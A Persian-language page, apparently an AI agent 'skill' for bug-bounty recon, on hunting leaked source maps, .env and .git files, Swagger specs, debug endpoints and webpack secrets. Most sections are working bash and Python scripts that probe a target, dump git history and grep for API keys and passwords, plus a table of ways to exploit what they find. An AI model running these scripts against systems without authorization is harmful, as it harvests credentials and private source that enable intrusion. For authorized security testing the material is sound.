hunt-source-leak

skillupstreamکلاس آسیب‌پذیریگزارش: ۷۱۰ کیلوبایت۱۲ بخش

شکار نشت کد منبع و آرتیفکت‌های build — بازسازی سورس TypeScript/ES6 از source mapهای جاوااسکریپت ‏(`.js.map`)، کشف endpoint از Swagger/OpenAPI JSON، افشای `.env`/`.git`، چانک‌های webpack با secretهای هاردکد، recon مربوط به robots.txt/security.txt و endpointهای debug فراموش‌شده.

توضیح انگلیسی اصلی (مرجع)

Hunt source code and build artifact leakage — JavaScript source maps (.js.map) reconstructing TypeScript/ES6 source, Swagger/OpenAPI JSON endpoint discovery, .env/.git exposure, webpack chunks with hardcoded secrets, robots.txt/security.txt recon, build-info files, asset-manifest.json API route discovery, .DS_Store file listing. Use at the START of every recon session — these findings often unlock the entire attack surface.

نقشه‌ی ساختار اسکیل

hunt-source-leakکلاس آسیب‌پذیری · ۱۲ بخش۱نمای کلی و کاربرد۲اهداف ارزشمند۳بخش تکمیلی۴بخش تکمیلی۵بخش تکمیلی۶بخش تکمیلی۷بخش تکمیلی۸بخش تکمیلی۹بخش تکمیلی۱۰زنجیره‌ها و ترکیب‌ها۱۱ابزار و نکات عملیاتی۱۲دروازه‌ی اعتبارسنجی
نمای کلی و کاربرد · ۹اهداف ارزشمند · ۱زنجیره‌ها و ترکیب‌ها · ۱دروازه‌ی اعتبارسنجی · ۱

روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمه‌ی «سورس MD» در هدر هر بخش، متن اصلی را با شماره‌ی خط می‌آورد.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

نمای کلی و کاربرد

Introduction
ترجمه‌ی کامل ✓بخش ۱ از ۱۲

توضیح کلی، دامنه‌ی پوشش و زمان به‌کارگیری اسکیل

‏اسکیل شکار نشت کد منبع و آرتیفکت‌های build.

۲

اهداف ارزشمند

Crown Jewel Targets
ترجمه‌ی کامل ✓بخش ۲ از ۱۲

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

‏Source map که سورس TypeScript را افشا می‌کند = دیدن همه‌ی مسیرهای API، منطق auth و secretها. Swagger/OpenAPI JSON = نقشه‌ی کامل سطح API.

‏یافته‌های باارزش‌ترین:

  • ‏source mapهای .js.map — بازسازی کد منبع کامل TypeScript/ES6 ← پیدا کردن کلیدهای API هاردکد، endpointهای داخلی، دورزدن‌های منطق auth
  • ‏‏swagger.json / openapi.json — مشخصات کامل REST API با همه‌ی endpointها، پارامترها، schemeهای auth و نام‌های مسیر داخلی
  • ‏‏.env / .env.production — APP_KEY، DB_PASSWORD، API_KEY، SECRET_KEY در plaintext
  • ‏افشای .git/ — git clone کل تاریخچه‌ی سورس ← همه‌ی secretهای هاردکد گذشته
  • ‏‏asset-manifest.json / _next/static/ — همه‌ی مسیرهای باندل JS ← کشف سیستماتیک source map
  • ‏‏build-info / info.json — هش کامیت git، timestamp مربوط به build، نسخه‌های dependency ← هدف‌گیری CVE
۳

بخش تکمیلی

Phase 1 — Quick Wins (Run First)
ترجمه‌ی کامل ✓بخش ۳ از ۱۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏برد‌های سریع — مسیرهای پرتکرار که اول باید probe شوند:

# These 10 requests take <30 seconds and often yield Critical findings
for PATH in \
  "/.env" \
  "/.env.production" \
  "/.env.local" \
  "/.git/HEAD" \
  "/swagger.json" \
  "/api/swagger.json" \
  "/v1/swagger.json" \
  "/openapi.json" \
  "/api/openapi.json" \
  "/api-docs"; do
  STATUS=$(curl -s -o /tmp/sl_test -w "%{http_code}" "https://$TARGET$PATH")
  if [ "$STATUS" = "200" ]; then
    echo "[+] HIT: https://$TARGET$PATH"
    head -5 /tmp/sl_test
    echo "---"
  fi
done
۴

بخش تکمیلی

Phase 2 — Source Map Discovery
ترجمه‌ی کامل ✓بخش ۴ از ۱۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏همیشه هش build فعلی را قبل از تست resolve کن، و دوباره قبل از بازتأیید. نام فایل‌های باندل content-hashed هستند، پس با هر deploy rotate می‌شوند. یک URL مربوط به .map که دیروز ثبت شده امروز می‌تواند ۴۰۴ بدهد درحالی‌که map هنوز کاملاً زیر نام جدید افشاشده است. یک ۴۰۴ روی URL قدیمی رفع مشکل نیست — build جدید است.
```bash
# ALWAYS derive the hash live, never reuse a recorded URL
HASH=$(curl -s "https://$TARGET/" | grep -oE 'main\.[a-f0-9]+\.js' | head -1)
curl -s -o /dev/null -w '%{http_code} %{size_download} %{content_type}\n' \
"https://$TARGET/static/js/${HASH}.map"
```
‏درس از یک engagement مجاز. یک map مربوط به production بزرگ در main.<hashA>.js.map پیدا شد. در بازتأیید، آن URL یک soft-404 مربوط به HTML کوچک برگرداند و یافته تقریباً به‌عنوان فیکس‌شده بسته شد. باندل به main.<hashB>.js rotate شده بود — و map هنوز در main.<hashB>.js.map منتشر می‌شد، با همان حجم. هیچ‌چیز رفع نشده بود.
‏این را صریحاً در گزارش به کلاینت بگو: redeploy‌کردن افشای source map را رفع نمی‌کند. فقط GENERATE_SOURCEMAP=false ‏(یا strip‌کردن .map در deploy) به‌علاوه‌ی purge مربوط به CDN آن را می‌بندد. تیمی که redeploy می‌کند و لینک قدیمی را دوباره چک می‌کند اشتباهاً پیروزی اعلام خواهد کرد.
‏همین قاعده برای هر آرتیفکت content-hashed صدق می‌کند: فایل‌های chunk، mapهای CSS، asset-manifest.json و معادل‌های staging.
# Step 1: Get asset manifest to find all JS bundle paths
curl -s "https://$TARGET/asset-manifest.json" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/static/js/main.*.js" 2>/dev/null | head -3

# Next.js
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
curl -s "https://$TARGET/_next/static/$BUILD_ID/_buildManifest.js" | head -5

# Step 2: For each JS bundle, check for source map reference at end of file
for JS_URL in $(curl -s https://$TARGET/ | grep -oP 'src="[^"]*\.js"' | sed 's/src="//;s/"//'); do
  LAST_LINE=$(curl -s "https://$TARGET$JS_URL" | tail -1)
  echo "$LAST_LINE" | grep -q "sourceMappingURL" && echo "[+] Source map: $JS_URL"
done

# Step 3: Download and reconstruct source from .map files
JS_URL="https://$TARGET/static/js/main.abc123.js"
MAP_URL="${JS_URL}.map"
curl -s "$MAP_URL" | python3 -c "
import sys, json, os
data = json.load(sys.stdin)
sources = data.get('sources', [])
contents = data.get('sourcesContent', [])
for i, (src, content) in enumerate(zip(sources, contents)):
    if content:
        path = '/tmp/sourcemap_extract/' + src.replace('../','').replace('./',''). replace('webpack://','')
        os.makedirs(os.path.dirname(path), exist_ok=True)
        with open(path, 'w') as f:
            f.write(content)
        print(f'[+] Extracted: {src}')
"

# Step 4: Grep extracted source for secrets
grep -r "API_KEY\|SECRET\|PASSWORD\|TOKEN\|PRIVATE" /tmp/sourcemap_extract/ 2>/dev/null
grep -r "process\.env\." /tmp/sourcemap_extract/ 2>/dev/null | grep -v "NEXT_PUBLIC_" | head -20
grep -r "http://internal\|localhost\|127\.0\.0\.1\|10\.\|172\.\|192\.168" /tmp/sourcemap_extract/ 2>/dev/null | head -20
۵

بخش تکمیلی

Phase 3 — Swagger / OpenAPI Discovery
ترجمه‌ی کامل ✓بخش ۵ از ۱۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏کشف Swagger / OpenAPI — مسیرهای رایج spec و استخراج نقشه‌ی کامل endpoint:

# Common paths
SWAGGER_PATHS=(
  "/swagger.json" "/swagger.yaml" "/swagger/"
  "/api/swagger.json" "/api/swagger.yaml"
  "/v1/swagger.json" "/v2/swagger.json" "/v3/swagger.json"
  "/openapi.json" "/openapi.yaml"
  "/api/openapi.json" "/api-docs" "/api-docs.json"
  "/api/v1/swagger.json" "/api/v2/swagger.json"
  "/rest/swagger.json" "/rest/api-docs"
  "/.well-known/openapi.json"
  "/graphql/schema.json"
)

for PATH in "${SWAGGER_PATHS[@]}"; do
  STATUS=$(curl -s -o /tmp/swagger_test -w "%{http_code}" "https://$TARGET$PATH")
  if [ "$STATUS" = "200" ]; then
    echo "[+] Found: https://$TARGET$PATH"
    # Extract all API paths from swagger
    python3 -c "
import sys, json
try:
    d = json.load(open('/tmp/swagger_test'))
    paths = list(d.get('paths', {}).keys())
    print(f'Endpoints: {len(paths)}')
    print('\n'.join(sorted(paths)))
except: pass
" | head -50
  fi
done
۶

بخش تکمیلی

Phase 4 — .git Exposure
ترجمه‌ی کامل ✓بخش ۶ از ۱۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏افشای .git — چک‌کردن دسترسی به آبجکت‌های git و clone کامل تاریخچه با git-dumper:

# Check if .git directory is accessible
curl -s "https://$TARGET/.git/HEAD" | grep -q "ref:" && echo "[+] .git exposed!"

# If exposed, reconstruct repo
# Tool: git-dumper
pip3 install git-dumper
git-dumper "https://$TARGET/.git/" /tmp/dumped-repo/

# Grep for secrets in all git history
cd /tmp/dumped-repo && \
  git log --all --oneline 2>/dev/null | head -20
  git grep -i "password\|secret\|api_key\|token" $(git rev-list --all) 2>/dev/null | head -30

# trufflehog on git history
trufflehog git file:///tmp/dumped-repo/ 2>/dev/null | head -50
۷

بخش تکمیلی

Phase 5 — Forgotten Files & Debug Endpoints
ترجمه‌ی کامل ✓بخش ۷ از ۱۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏فایل‌های فراموش‌شده و endpointهای debug — بک‌اپ‌ها، فایل‌های کانفیگ و صفحات خطا:

# Build artifacts and debug files
DEBUG_PATHS=(
  "/build-info.json" "/build/build-info.json"
  "/info" "/actuator/info" "/api/info"
  "/version" "/api/version" "/_version"
  "/health" "/status" "/ping"
  "/robots.txt" "/security.txt" "/.well-known/security.txt"
  "/sitemap.xml" "/manifest.json" "/browserconfig.xml"
  "/crossdomain.xml" "/clientaccesspolicy.xml"
  "/phpinfo.php" "/info.php" "/test.php"
  "/server-status" "/server-info" "/.htaccess"
  "/web.config" "/applicationHost.config"
  "/WEB-INF/web.xml" "/META-INF/MANIFEST.MF"
  "/package.json" "/composer.json" "/Gemfile"
  "/Dockerfile" "/docker-compose.yml" "/.dockerenv"
)

for PATH in "${DEBUG_PATHS[@]}"; do
  STATUS=$(curl -s -o /tmp/debug_test -w "%{http_code}" "https://$TARGET$PATH")
  if [ "$STATUS" = "200" ]; then
    echo "[+] Found: https://$TARGET$PATH ($STATUS, $(wc -c < /tmp/debug_test) bytes)"
    head -3 /tmp/debug_test
    echo "---"
  fi
done
۸

بخش تکمیلی

Phase 6 — .DS_Store File Listing
ترجمه‌ی کامل ✓بخش ۸ از ۱۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏لیست فایل با .DS_Store — خواندن ساختار دایرکتوری از فایل‌های metadata مربوط به macOS:

# .DS_Store files on macOS-deployed web servers reveal directory structure
curl -s "https://$TARGET/.DS_Store" | xxd | head -10

# Parse .DS_Store to extract filenames
pip3 install ds_store
python3 -c "
from ds_store import DSStore
with DSStore.open('/tmp/ds_store_test', 'r') as d:
    for entry in d:
        print(entry.filename)
"

# Recursive .DS_Store enumeration
# Tool: https://github.com/lijiejie/ds_store_exp
python3 ds_store_exp.py "https://$TARGET/"
۹

بخش تکمیلی

Phase 7 — webpack Chunk Analysis
ترجمه‌ی کامل ✓بخش ۹ از ۱۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏تحلیل چانک‌های webpack — enumerate مربوط به chunk map، استخراج route و secret از باندل:

# Download and analyze webpack chunks for hardcoded values
# Find chunk files
curl -s https://$TARGET/ | grep -oP '"[^"]*\.chunk\.js"' | tr -d '"' | while read chunk; do
  echo "Analyzing: $chunk"
  curl -s "https://$TARGET$chunk" | \
    grep -oE '"(api_key|apiKey|secret|password|token|key)"\s*:\s*"[^"]+"' | head -5
done

# Also grep for internal hostnames
curl -s "https://$TARGET/static/js/main.*.js" | \
  grep -oE '"(https?://[^"]*internal[^"]*|http://[^"]*localhost[^"]*)"' | sort -u

# Check for Base64-encoded secrets
curl -s "https://$TARGET/static/js/main.*.js" | \
  grep -oP '"[A-Za-z0-9+/]{30,}={0,2}"' | while read b64; do
  DECODED=$(echo "$b64" | tr -d '"' | base64 -d 2>/dev/null)
  echo "$DECODED" | grep -iE "key|secret|password|token" && echo "  B64: $b64"
done
۱۰

زنجیره‌ها و ترکیب‌ها

Chain Table
ترجمه‌ی کامل ✓بخش ۱۰ از ۱۲

زنجیره‌های attack که این primitive را به impact بالاتر می‌رسانند

یافته‌ی نشت سورسزنجیره بهاثر
source map با کلید APIاستفاده‌ی مستقیم کلید ← دسترسی APIHigh/Critical
source map با منطق authپیدا کردن مسیر دورزدن authCritical
Swagger ← endpointهای داخلیتست روت‌های admin مستند‌نشدهHigh
.git افشاشدهتاریخچه‌ی کامل سورس ← همه‌ی secretهای گذشتهCritical
build-info با هش gitهدف‌گیری CVE روی نسخه‌ی دقیقHigh
.env با DB_PASSWORDدسترسی مستقیم دیتابیسCritical
۱۱

ابزار و نکات عملیاتی

Tools
ترجمه‌ی کامل ✓بخش ۱۱ از ۱۲

ابزارهای کمکی، نصب، خروجی‌های مورد انتظار و یادداشت‌های اپراتور

‏ابزارهای شکار نشت سورس — git-dumper، sourcemapper، ffuf و اسکریپت‌های استخراج map:

# git-dumper (reconstruct exposed .git)
pip3 install git-dumper
git-dumper "https://target.com/.git/" /tmp/repo/

# sourcemap-explorer (visualize what's in bundles)
npm install -g source-map-explorer
source-map-explorer main.js

# unwebpack-sourcemap (extract all source files)
npm install -g unwebpack-sourcemap

# trufflehog (secret scanning)
trufflehog filesystem /tmp/repo/
۱۲

دروازه‌ی اعتبارسنجی

Validation
ترجمه‌ی کامل ✓بخش ۱۲ از ۱۲

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

✅ ‏source map: سورس TypeScript بازسازی‌شده شامل endpointهای API یا secretهای هاردکد است

✅ ‏Swagger: JSON شامل endpointهای داخلی نامرئی در UI است

✅ ‏.git افشاشده: git-dumper با موفقیت repo را clone می‌کند، secretها در تاریخچه

✅ ‏.env افشاشده: DATABASE_URL، API_KEY، SECRET_KEY در plaintext مرئی‌اند

‏شدت:

  • ‏.env با credentialها: بحرانی
  • ‏.git با secretها در تاریخچه: بحرانی
  • ‏source map با secretها: High
  • ‏Swagger با روت‌های داخلی: Medium-High
  • ‏فقط robots.txt: Informational
مراحل استخراج‌شده
  1. ۱‏`.env` با credentialها: بحرانی
  2. ۲‏`.git` با secretها در تاریخچه: بحرانی
  3. ۳‏source map با secretها: High
  4. ۴‏Swagger با روت‌های داخلی: Medium-High
  5. ۵‏فقط robots.txt: Informational